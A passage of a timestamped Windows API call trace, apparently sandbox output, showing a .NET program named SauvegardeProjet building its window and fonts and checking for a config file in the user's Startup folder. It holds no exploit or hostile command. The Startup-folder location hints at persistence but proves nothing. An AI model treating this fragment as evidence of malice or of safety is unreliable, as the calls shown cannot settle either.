lpRect=0x52e490, dwStyle=0x5601008d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x52e490) returned 1 [0220.261] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x73a30000 [0220.261] AdjustWindowRectEx (in: lpRect=0x52e490, dwStyle=0x5601008d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x52e490) returned 1 [0220.263] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x73a30000 [0220.263] AdjustWindowRectEx (in: lpRect=0x52e490, dwStyle=0x5601008d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x52e490) returned 1 [0220.264] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x73a30000 [0220.264] AdjustWindowRectEx (in: lpRect=0x52e490, dwStyle=0x5601008d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x52e490) returned 1 [0220.266] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x73a30000 [0220.266] AdjustWindowRectEx (in: lpRect=0x52e490, dwStyle=0x5601008d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x52e490) returned 1 [0220.268] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x73a30000 [0220.268] AdjustWindowRectEx (in: lpRect=0x52e490, dwStyle=0x5601008d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x52e490) returned 1 [0220.280] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x73a30000 [0220.281] AdjustWindowRectEx (in: lpRect=0x52e498, dwStyle=0x562100c1, bMenu=0, dwExStyle=0x200 | out: lpRect=0x52e498) returned 1 [0220.282] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x73a30000 [0220.282] AdjustWindowRectEx (in: lpRect=0x52e490, dwStyle=0x5601008d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x52e490) returned 1 [0220.327] GdiplusStartup (in: token=0x116a50, input=0x52d980, output=0x52d9d0 | out: token=0x116a50, output=0x52d9d0) returned 0x0 [0220.343] GdipCreateFontFamilyFromName (name="Microsoft Sans Serif", fontCollection=0x0, fontFamily=0x52e46c) returned 0x0 [0220.354] GdipCreateFont (fontFamily=0x4d2f690, emSize=0x41040000, style=1, unit=0x3, font=0x22cf0d0) returned 0x0 [0220.408] GdipGetFontSize (font=0x4d2fe98, size=0x22cf0d4) returned 0x0 [0220.410] GetSystemDefaultLCID () returned 0x409 [0220.410] GetStockObject (i=17) returned 0x18a0025 [0220.411] GetObjectW (in: h=0x18a0025, c=92, pv=0x52e314 | out: pv=0x52e314) returned 92 [0220.412] GetDC (hWnd=0x0) returned 0x701068c [0220.415] CoTaskMemAlloc (cb=0x5c) returned 0x678a90 [0220.415] GdipCreateFontFromLogfontW (hdc=0x701068c, logfont=0x678a90, font=0x52e3dc) returned 0x0 [0220.545] CoTaskMemFree (pv=0x678a90) [0220.546] CoTaskMemAlloc (cb=0x5c) returned 0x678a90 [0220.546] CoTaskMemFree (pv=0x678a90) [0220.546] CoTaskMemAlloc (cb=0x5c) returned 0x678a90 [0220.546] CoTaskMemFree (pv=0x678a90) [0220.546] GdipGetFontUnit (font=0x4d2ff30, unit=0x52e3a8) returned 0x0 [0220.546] GdipGetFontSize (font=0x4d2ff30, size=0x52e3ac) returned 0x0 [0220.546] GdipGetFontStyle (font=0x4d2ff30, style=0x52e3a4) returned 0x0 [0220.547] GdipGetFamily (font=0x4d2ff30, family=0x52e3a0) returned 0x0 [0220.547] GdipGetFontSize (font=0x4d2ff30, size=0x22cf73c) returned 0x0 [0220.547] ReleaseDC (hWnd=0x0, hDC=0x701068c) returned 1 [0220.547] GetDC (hWnd=0x0) returned 0x701068c [0220.550] GdipCreateFromHDC (hdc=0x701068c, graphics=0x52e3c8) returned 0x0 [0220.551] GdipGetDpiY (graphics=0x4d97018, dpi=0x22cf844) returned 0x0 [0220.551] GdipGetFontHeight (font=0x4d2ff30, graphics=0x4d97018, height=0x52e3c0) returned 0x0 [0220.551] GdipGetEmHeight (family=0x4d2f690, style=0, EmHeight=0x52e3c8) returned 0x0 [0220.551] GdipGetLineSpacing (family=0x4d2f690, style=0, LineSpacing=0x52e3c8) returned 0x0 [0220.551] GdipDeleteGraphics (graphics=0x4d97018) returned 0x0 [0220.551] ReleaseDC (hWnd=0x0, hDC=0x701068c) returned 1 [0220.551] GdipCreateFont (fontFamily=0x4d2f690, emSize=0x41040000, style=0, unit=0x3, font=0x22cf804) returned 0x0 [0220.551] GdipGetFontSize (font=0x4e28f90, size=0x22cf808) returned 0x0 [0220.552] GdipDeleteFont (font=0x4d2ff30) returned 0x0 [0220.559] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x73a30000 [0220.559] AdjustWindowRectEx (in: lpRect=0x52e41c, dwStyle=0x5601000b, bMenu=0, dwExStyle=0x0 | out: lpRect=0x52e41c) returned 1 [0220.576] GetUserObjectInformationA (in: hObj=0x5c, nIndex=1, pvInfo=0x22cff60, nLength=0xc, lpnLengthNeeded=0x52e2f8 | out: pvInfo=0x22cff60, lpnLengthNeeded=0x52e2f8) returned 1 [0220.586] SetConsoleCtrlHandler (HandlerRoutine=0x57087e, Add=1) returned 1 [0220.587] GetModuleHandleW (lpModuleName=0x0) returned 0x260000 [0220.587] GetModuleHandleW (lpModuleName=0x0) returned 0x260000 [0220.589] GetClassInfoW (in: hInstance=0x260000, lpClassName=".NET-BroadcastEventWindow.4.0.0.0.141b42a.0", lpWndClass=0x22cffc4 | out: lpWndClass=0x22cffc4) returned 0 [0220.590] CoTaskMemAlloc (cb=0x58) returned 0x658480 [0220.590] RegisterClassW (lpWndClass=0x52e248) returned 0xc123 [0220.590] CoTaskMemFree (pv=0x658480) [0220.591] CreateWindowExW (dwExStyle=0x0, lpClassName=".NET-BroadcastEventWindow.4.0.0.0.141b42a.0", lpWindowName=".NET-BroadcastEventWindow.4.0.0.0.141b42a.0", dwStyle=0x80000000, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x260000, lpParam=0x0) returned 0x10168 [0220.592] NtdllDefWindowProc_W () returned 0x0 [0220.592] NtdllDefWindowProc_W () returned 0x0 [0220.593] NtdllDefWindowProc_W () returned 0x0 [0220.593] NtdllDefWindowProc_W () returned 0x0 [0220.606] GetSysColor (nIndex=10) returned 0xb4b4b4 [0220.606] GetSysColor (nIndex=2) returned 0xd1b499 [0220.606] GetSysColor (nIndex=9) returned 0x0 [0220.606] GetSysColor (nIndex=12) returned 0xababab [0220.606] GetSysColor (nIndex=15) returned 0xf0f0f0 [0220.606] GetSysColor (nIndex=20) returned 0xffffff [0220.606] GetSysColor (nIndex=16) returned 0xa0a0a0 [0220.606] GetSysColor (nIndex=15) returned 0xf0f0f0 [0220.606] GetSysColor (nIndex=16) returned 0xa0a0a0 [0220.606] GetSysColor (nIndex=21) returned 0x696969 [0220.606] GetSysColor (nIndex=22) returned 0xe3e3e3 [0220.606] GetSysColor (nIndex=20) returned 0xffffff [0220.606] GetSysColor (nIndex=18) returned 0x0 [0220.606] GetSysColor (nIndex=1) returned 0x0 [0220.606] GetSysColor (nIndex=27) returned 0xead1b9 [0220.606] GetSysColor (nIndex=28) returned 0xf2e4d7 [0220.606] GetSysColor (nIndex=17) returned 0x6d6d6d [0220.606] GetSysColor (nIndex=13) returned 0xff9933 [0220.606] GetSysColor (nIndex=14) returned 0xffffff [0220.606] GetSysColor (nIndex=26) returned 0xcc6600 [0220.606] GetSysColor (nIndex=11) returned 0xfcf7f4 [0220.606] GetSysColor (nIndex=3) returned 0xdbcdbf [0220.606] GetSysColor (nIndex=19) returned 0x544e43 [0220.606] GetSysColor (nIndex=24) returned 0xe1ffff [0220.606] GetSysColor (nIndex=23) returned 0x0 [0220.607] GetSysColor (nIndex=4) returned 0xf0f0f0 [0220.607] GetSysColor (nIndex=30) returned 0xf0f0f0 [0220.607] GetSysColor (nIndex=29) returned 0xff9933 [0220.607] GetSysColor (nIndex=7) returned 0x0 [0220.607] GetSysColor (nIndex=0) returned 0xc8c8c8 [0220.607] GetSysColor (nIndex=5) returned 0xffffff [0220.607] GetSysColor (nIndex=6) returned 0x646464 [0220.607] GetSysColor (nIndex=8) returned 0x0 [0220.607] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x73a30000 [0220.607] AdjustWindowRectEx (in: lpRect=0x52e41c, dwStyle=0x5601000b, bMenu=0, dwExStyle=0x0 | out: lpRect=0x52e41c) returned 1 [0220.622] GdipCreateFontFamilyFromName (name="Microsoft Sans Serif", fontCollection=0x0, fontFamily=0x52e46c) returned 0x0 [0220.623] GdipCreateFont (fontFamily=0x4d2f690, emSize=0x41040000, style=1, unit=0x3, font=0x22d05c0) returned 0x0 [0220.623] GdipGetFontSize (font=0x4d2ff30, size=0x22d05c4) returned 0x0 [0220.623] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x73a30000 [0220.623] AdjustWindowRectEx (in: lpRect=0x52e3f0, dwStyle=0x5680000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x52e3f0) returned 1 [0220.623] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x73a30000 [0220.623] AdjustWindowRectEx (in: lpRect=0x52e3f0, dwStyle=0x5680000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x52e3f0) returned 1 [0220.642] GdipCreateFontFamilyFromName (name="Microsoft Sans Serif", fontCollection=0x0, fontFamily=0x52e46c) returned 0x0 [0220.642] GdipCreateFont (fontFamily=0x4d2f690, emSize=0x41040000, style=1, unit=0x3, font=0x22d07f8) returned 0x0 [0220.642] GdipGetFontSize (font=0x4e28fb8, size=0x22d07fc) returned 0x0 [0220.642] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x73a30000 [0220.642] AdjustWindowRectEx (in: lpRect=0x52e3f0, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x52e3f0) returned 1 [0220.642] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x73a30000 [0220.642] AdjustWindowRectEx (in: lpRect=0x52e3f0, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x52e3f0) returned 1 [0220.644] GdipCreateFontFamilyFromName (name="Microsoft Sans Serif", fontCollection=0x0, fontFamily=0x52e46c) returned 0x0 [0220.644] GdipCreateFont (fontFamily=0x4d2f690, emSize=0x41040000, style=1, unit=0x3, font=0x22d0a20) returned 0x0 [0220.644] GdipGetFontSize (font=0x4dfb8c0, size=0x22d0a24) returned 0x0 [0220.645] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x73a30000 [0220.645] AdjustWindowRectEx (in: lpRect=0x52e3f0, dwStyle=0x5680000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x52e3f0) returned 1 [0220.645] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x73a30000 [0220.645] AdjustWindowRectEx (in: lpRect=0x52e3f0, dwStyle=0x5680000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x52e3f0) returned 1 [0220.647] GdipCreateFontFamilyFromName (name="Microsoft Sans Serif", fontCollection=0x0, fontFamily=0x52e46c) returned 0x0 [0220.647] GdipCreateFont (fontFamily=0x4d2f690, emSize=0x41040000, style=1, unit=0x3, font=0x22d0c58) returned 0x0 [0220.647] GdipGetFontSize (font=0x4dfb8e8, size=0x22d0c5c) returned 0x0 [0220.647] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x73a30000 [0220.647] AdjustWindowRectEx (in: lpRect=0x52e3f0, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x52e3f0) returned 1 [0220.647] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x73a30000 [0220.647] AdjustWindowRectEx (in: lpRect=0x52e3f0, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x52e3f0) returned 1 [0220.649] GdipCreateFontFamilyFromName (name="Microsoft Sans Serif", fontCollection=0x0, fontFamily=0x52e46c) returned 0x0 [0220.650] GdipCreateFont (fontFamily=0x4d2f690, emSize=0x41040000, style=1, unit=0x3, font=0x22d0e4c) returned 0x0 [0220.650] GdipGetFontSize (font=0x4dfb910, size=0x22d0e50) returned 0x0 [0220.650] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x73a30000 [0220.650] AdjustWindowRectEx (in: lpRect=0x52e3f0, dwStyle=0x5680000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x52e3f0) returned 1 [0220.650] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x73a30000 [0220.650] AdjustWindowRectEx (in: lpRect=0x52e3f0, dwStyle=0x5680000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x52e3f0) returned 1 [0220.652] GdipCreateFontFamilyFromName (name="Microsoft Sans Serif", fontCollection=0x0, fontFamily=0x52e46c) returned 0x0 [0220.652] GdipCreateFont (fontFamily=0x4d2f690, emSize=0x41040000, style=1, unit=0x3, font=0x22d1084) returned 0x0 [0220.652] GdipGetFontSize (font=0x5270e40, size=0x22d1088) returned 0x0 [0220.652] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x73a30000 [0220.653] AdjustWindowRectEx (in: lpRect=0x52e3f0, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x52e3f0) returned 1 [0220.653] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x73a30000 [0220.653] AdjustWindowRectEx (in: lpRect=0x52e3f0, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x52e3f0) returned 1 [0220.655] GdipCreateFontFamilyFromName (name="Microsoft Sans Serif", fontCollection=0x0, fontFamily=0x52e46c) returned 0x0 [0220.655] GdipCreateFont (fontFamily=0x4d2f690, emSize=0x41040000, style=1, unit=0x3, font=0x22d12ac) returned 0x0 [0220.655] GdipGetFontSize (font=0x5270e68, size=0x22d12b0) returned 0x0 [0220.655] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x73a30000 [0220.655] AdjustWindowRectEx (in: lpRect=0x52e3f0, dwStyle=0x5680000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x52e3f0) returned 1 [0220.655] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x73a30000 [0220.655] AdjustWindowRectEx (in: lpRect=0x52e3f0, dwStyle=0x5680000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x52e3f0) returned 1 [0220.657] GdipCreateFontFamilyFromName (name="Microsoft Sans Serif", fontCollection=0x0, fontFamily=0x52e46c) returned 0x0 [0220.657] GdipCreateFont (fontFamily=0x4d2f690, emSize=0x41040000, style=1, unit=0x3, font=0x22d14e4) returned 0x0 [0220.657] GdipGetFontSize (font=0x5270e90, size=0x22d14e8) returned 0x0 [0220.658] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x73a30000 [0220.658] AdjustWindowRectEx (in: lpRect=0x52e3f0, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x52e3f0) returned 1 [0220.658] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x73a30000 [0220.658] AdjustWindowRectEx (in: lpRect=0x52e3f0, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x52e3f0) returned 1 [0220.660] GdipCreateFontFamilyFromName (name="Microsoft Sans Serif", fontCollection=0x0, fontFamily=0x52e46c) returned 0x0 [0220.660] GdipCreateFont (fontFamily=0x4d2f690, emSize=0x41040000, style=1, unit=0x3, font=0x22d1684) returned 0x0 [0220.660] GdipGetFontSize (font=0x4d97030, size=0x22d1688) returned 0x0 [0220.681] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x73a30000 [0220.681] AdjustWindowRectEx (in: lpRect=0x52e400, dwStyle=0x562100c1, bMenu=0, dwExStyle=0x200 | out: lpRect=0x52e400) returned 1 [0220.681] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x73a30000 [0220.681] AdjustWindowRectEx (in: lpRect=0x52e400, dwStyle=0x562100c1, bMenu=0, dwExStyle=0x200 | out: lpRect=0x52e400) returned 1 [0220.683] GdipCreateFontFamilyFromName (name="Microsoft Sans Serif", fontCollection=0x0, fontFamily=0x52e46c) returned 0x0 [0220.683] GdipCreateFont (fontFamily=0x4d2f690, emSize=0x41040000, style=1, unit=0x3, font=0x22d187c) returned 0x0 [0220.683] GdipGetFontSize (font=0x4d97058, size=0x22d1880) returned 0x0 [0220.684] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x73a30000 [0220.684] AdjustWindowRectEx (in: lpRect=0x52e3f0, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x52e3f0) returned 1 [0220.687] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x73a30000 [0220.687] AdjustWindowRectEx (in: lpRect=0x52e3f0, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x52e3f0) returned 1 [0220.698] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x73a30000 [0220.698] AdjustWindowRectEx (in: lpRect=0x52e450, dwStyle=0x2cf0000, bMenu=0, dwExStyle=0x50000 | out: lpRect=0x52e450) returned 1 [0220.698] GetSystemMetrics (nIndex=59) returned 1460 [0220.698] GetSystemMetrics (nIndex=60) returned 920 [0220.698] GetSystemMetrics (nIndex=34) returned 132 [0220.698] GetSystemMetrics (nIndex=35) returned 38 [0220.699] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x73a30000 [0220.699] AdjustWindowRectEx (in: lpRect=0x52e350, dwStyle=0x2cf0000, bMenu=0, dwExStyle=0x50000 | out: lpRect=0x52e350) returned 1 [0220.699] GetCurrentThreadId () returned 0x568 [0220.699] GetCurrentThreadId () returned 0x568 [0220.700] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x73a30000 [0220.700] AdjustWindowRectEx (in: lpRect=0x52e24c, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x52e24c) returned 1 [0220.704] GdipGetFamilyName (in: family=0x4d2f690, name=0x52e13c, language=0x409 | out: name="Microsoft Sans Serif") returned 0x0 [0220.704] CreateCompatibleDC (hdc=0x0) returned 0x300101e8 [0220.705] GetCurrentObject (hdc=0x300101e8, type=0x1) returned 0x1b00017 [0220.705] GetCurrentObject (hdc=0x300101e8, type=0x2) returned 0x1900010 [0220.705] GetCurrentObject (hdc=0x300101e8, type=0x7) returned 0x185000f [0220.705] GetCurrentObject (hdc=0x300101e8, type=0x6) returned 0x18a002e [0220.706] SaveDC (hdc=0x300101e8) returned 1 [0220.706] GetDeviceCaps (hdc=0x300101e8, index=90) returned 96 [0220.706] CoTaskMemAlloc (cb=0x5c) returned 0x678a90 [0220.706] CreateFontIndirectW (lplf=0x678a90) returned 0xc0a01e7 [0220.707] CoTaskMemFree (pv=0x678a90) [0220.707] GetObjectW (in: h=0xc0a01e7, c=92, pv=0x52e114 | out: pv=0x52e114) returned 92 [0220.707] GetCurrentObject (hdc=0x300101e8, type=0x6) returned 0x18a002e [0220.707] GetObjectW (in: h=0x18a002e, c=92, pv=0x52e06c | out: pv=0x52e06c) returned 92 [0220.708] SelectObject (hdc=0x300101e8, h=0xc0a01e7) returned 0x18a002e [0220.708] GetMapMode (hdc=0x300101e8) returned 1 [0220.708] GetTextMetricsW (in: hdc=0x300101e8, lptm=0x52e120 | out: lptm=0x52e120) returned 1 [0220.709] DrawTextExW (in: hdc=0x300101e8, lpchText="Arborescence du projet", cchText=22, lprc=0x52e234, format=0x2400, lpdtp=0x22d2034 | out: lpchText="Arborescence du projet", lprc=0x52e234) returned 13 [0220.745] GetCurrentThreadId () returned 0x568 [0220.745] GetCurrentThreadId () returned 0x568 [0220.745] GetCurrentThreadId () returned 0x568 [0220.745] GetCurrentThreadId () returned 0x568 [0220.745] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x73a30000 [0220.746] AdjustWindowRectEx (in: lpRect=0x52e24c, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x52e24c) returned 1 [0220.746] GdipGetFamilyName (in: family=0x4d2f690, name=0x52e218, language=0x409 | out: name="Microsoft Sans Serif") returned 0x0 [0220.746] GetDeviceCaps (hdc=0x300101e8, index=90) returned 96 [0220.746] CoTaskMemAlloc (cb=0x5c) returned 0x678a90 [0220.746] CreateFontIndirectW (lplf=0x678a90) returned 0x70a01e0 [0220.746] CoTaskMemFree (pv=0x678a90) [0220.746] GetObjectW (in: h=0x70a01e0, c=92, pv=0x52e1f0 | out: pv=0x52e1f0) returned 92 [0220.749] GetTextExtentPoint32W (in: hdc=0x300101e8, lpString="0", c=1, psizl=0x22d2314 | out: psizl=0x22d2314) returned 1 [0220.754] DeleteObject (ho=0x70a01e0) returned 1 [0220.755] GetCurrentThreadId () returned 0x568 [0220.755] GetCurrentThreadId () returned 0x568 [0220.755] GetCurrentThreadId () returned 0x568 [0220.755] GetCurrentThreadId () returned 0x568 [0220.755] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x73a30000 [0220.755] AdjustWindowRectEx (in: lpRect=0x52e24c, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x52e24c) returned 1 [0220.755] GdipGetFamilyName (in: family=0x4d2f690, name=0x52e218, language=0x409 | out: name="Microsoft Sans Serif") returned 0x0 [0220.755] GetDeviceCaps (hdc=0x300101e8, index=90) returned 96 [0220.755] CoTaskMemAlloc (cb=0x5c) returned 0x678a90 [0220.755] CreateFontIndirectW (lplf=0x678a90) returned 0x80a01e0 [0220.755] CoTaskMemFree (pv=0x678a90) [0220.755] GetObjectW (in: h=0x80a01e0, c=92, pv=0x52e1f0 | out: pv=0x52e1f0) returned 92 [0220.755] GetTextExtentPoint32W (in: hdc=0x300101e8, lpString="0", c=1, psizl=0x22d261c | out: psizl=0x22d261c) returned 1 [0220.755] DeleteObject (ho=0x80a01e0) returned 1 [0220.755] GetCurrentThreadId () returned 0x568 [0220.755] GetCurrentThreadId () returned 0x568 [0220.755] GetCurrentThreadId () returned 0x568 [0220.755] GetCurrentThreadId () returned 0x568 [0220.755] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x73a30000 [0220.755] AdjustWindowRectEx (in: lpRect=0x52e24c, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x52e24c) returned 1 [0220.755] GdipGetFamilyName (in: family=0x4d2f690, name=0x52e218, language=0x409 | out: name="Microsoft Sans Serif") returned 0x0 [0220.756] GetDeviceCaps (hdc=0x300101e8, index=90) returned 96 [0220.756] CoTaskMemAlloc (cb=0x5c) returned 0x678a90 [0220.756] CreateFontIndirectW (lplf=0x678a90) returned 0x90a01e0 [0220.756] CoTaskMemFree (pv=0x678a90) [0220.756] GetObjectW (in: h=0x90a01e0, c=92, pv=0x52e1f0 | out: pv=0x52e1f0) returned 92 [0220.756] GetTextExtentPoint32W (in: hdc=0x300101e8, lpString="0", c=1, psizl=0x22d28f8 | out: psizl=0x22d28f8) returned 1 [0220.756] DeleteObject (ho=0x90a01e0) returned 1 [0220.756] GetCurrentThreadId () returned 0x568 [0220.756] GetCurrentThreadId () returned 0x568 [0220.756] GetCurrentThreadId () returned 0x568 [0220.756] GetCurrentThreadId () returned 0x568 [0220.756] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x73a30000 [0220.756] AdjustWindowRectEx (in: lpRect=0x52e24c, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x52e24c) returned 1 [0220.756] GdipGetFamilyName (in: family=0x4d2f690, name=0x52e218, language=0x409 | out: name="Microsoft Sans Serif") returned 0x0 [0220.756] GetDeviceCaps (hdc=0x300101e8, index=90) returned 96 [0220.756] CoTaskMemAlloc (cb=0x5c) returned 0x678a90 [0220.756] CreateFontIndirectW (lplf=0x678a90) returned 0xa0a01e0 [0220.756] CoTaskMemFree (pv=0x678a90) [0220.756] GetObjectW (in: h=0xa0a01e0, c=92, pv=0x52e1f0 | out: pv=0x52e1f0) returned 92 [0220.756] GetTextExtentPoint32W (in: hdc=0x300101e8, lpString="0", c=1, psizl=0x22d2c20 | out: psizl=0x22d2c20) returned 1 [0220.757] DeleteObject (ho=0xa0a01e0) returned 1 [0220.757] GetCurrentThreadId () returned 0x568 [0220.757] GetCurrentThreadId () returned 0x568 [0220.757] GetCurrentThreadId () returned 0x568 [0220.757] GetCurrentThreadId () returned 0x568 [0220.757] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x73a30000 [0220.762] AdjustWindowRectEx (in: lpRect=0x52e368, dwStyle=0x2cb0000, bMenu=0, dwExStyle=0x50000 | out: lpRect=0x52e368) returned 1 [0220.762] AdjustWindowRectEx (in: lpRect=0x52e430, dwStyle=0x2cb0000, bMenu=0, dwExStyle=0x50000 | out: lpRect=0x52e430) returned 1 [0220.762] GetSystemMetrics (nIndex=59) returned 1460 [0220.762] GetSystemMetrics (nIndex=60) returned 920 [0220.762] GetSystemMetrics (nIndex=34) returned 132 [0220.762] GetSystemMetrics (nIndex=35) returned 38 [0220.762] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x73a30000 [0220.762] AdjustWindowRectEx (in: lpRect=0x52e26c, dwStyle=0x2cb0000, bMenu=0, dwExStyle=0x50000 | out: lpRect=0x52e26c) returned 1 [0220.762] AdjustWindowRectEx (in: lpRect=0x52e330, dwStyle=0x2cb0000, bMenu=0, dwExStyle=0x50000 | out: lpRect=0x52e330) returned 1 [0220.765] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x52e1f4) returned 1 [0220.798] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\SauvegardeProjet.exe.config" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\sauvegardeprojet.exe.config"), fInfoLevelId=0x0, lpFileInformation=0x52e270 | out: lpFileInformation=0x52e270*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0220.798] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x52e1f0) returned 1 [0221.364] GetSystemMetrics (nIndex=11) returned 32 [0221.364] GetSystemMetrics (nIndex=12) returned 32 [0221.364] GetDC (hWnd=0x0) returned 0x701068c [0221.364] GetDeviceCaps (hdc=0x701068c, index=12) returned 32 [0221.364] GetDeviceCaps (hdc=0x701068c, index=14) returned 1 [0221.364] ReleaseDC (hWnd=0x0, hDC=0x701068c) returned 1 [0221.365] CreateIconFromResourceEx (presbits=0x22e8a78, dwResSize=0xca8, fIcon=1, dwVer=0x30000, cxDesired=0, cyDesired=0, Flags=0x0) returned 0x30171 [0221.418] CreateCompatibleDC (hdc=0x0) returned 0x1c0101e0 [0221.418] GetDC (hWnd=0x0) returned 0x701068c [0221.418] GdipCreateFromHDC (hdc=0x701068c, graphics=0x52e28c) returned 0x0 [0221.418] CoTaskMemAlloc (cb=0x5c) returned 0x678a90 [0221.418] GdipGetLogFontW (font=0x4e28f90, graphics=0x4d97818, logfontW=0x678a90) returned 0x0 [0221.418] CoTaskMemFree (pv=0x678a90) [0221.418] CoTaskMemAlloc (cb=0x5c) returned 0x678a90 [0221.418] CoTaskMemFree (pv=0x678a90) [0221.419] CoTaskMemAlloc (cb=0x5c) returned 0x678a90 [0221.419] CoTaskMemFree (pv=0x678a90) [0221.419] GdipDeleteGraphics (graphics=0x4d97818) returned 0x0 [0221.419] ReleaseDC (hWnd=0x0, hDC=0x701068c) returned 1 [0221.419] CoTaskMemAlloc (cb=0x5c) returned 0x678a90 [0221.419] CreateFontIndirectW (lplf=0x678a90) returned 0x150a01e1 [0221.419] CoTaskMemFree (pv=0x678a90) [0221.419] SelectObject (hdc=0x1c0101e0, h=0x150a01e1) returned 0x18a002e [0221.419] GetTextMetricsW (in: hdc=0x1c0101e0, lptm=0x52e398 | out: lptm=0x52e398) returned 1 [0221.419] GetTextExtentPoint32W (in: hdc=0x1c0101e0, lpString="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ", c=52, psizl=0x22e9e20 | out: psizl=0x22e9e20) returned 1 [0221.420] SelectObject (hdc=0x1c0101e0, h=0x18a002e) returned 0x150a01e1 [0221.420] DeleteDC (hdc=0x1c0101e0) returned 1 [0221.420] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x73a30000 [0221.420] AdjustWindowRectEx (in: lpRect=0x52e104, dwStyle=0x2ca0000, bMenu=0, dwExStyle=0x90000 | out: lpRect=0x52e104) returned 1 [0221.420] GetCursorPos (in: lpPoint=0x22e9e40 | out: lpPoint=0x22e9e40*(x=212, y=282)) returned 1 [0221.425] GetSystemMetrics (nIndex=80) returned 1 [0221.451] GetMonitorInfoW (in: hMonitor=0x10001, lpmi=0x52dfe0 | out: lpmi=0x52dfe0) returned 1 [0221.451] CreateDCW (pwszDriver="\\\\.\\DISPLAY1", pwszDevice=0x0, pszPort=0x0, pdm=0x0) returned 0x1f0101e0 [0221.451] GetDeviceCaps (hdc=0x1f0101e0, index=12) returned 32 [0221.451] GetDeviceCaps (hdc=0x1f0101e0, index=14) returned 1 [0221.452] DeleteDC (hdc=0x1f0101e0) returned 1 [0221.452] GetMonitorInfoW (in: hMonitor=0x10001, lpmi=0x52e034 | out: lpmi=0x52e034) returned 1 [0221.452] AdjustWindowRectEx (in: lpRect=0x52e324, dwStyle=0x2ca0000, bMenu=0, 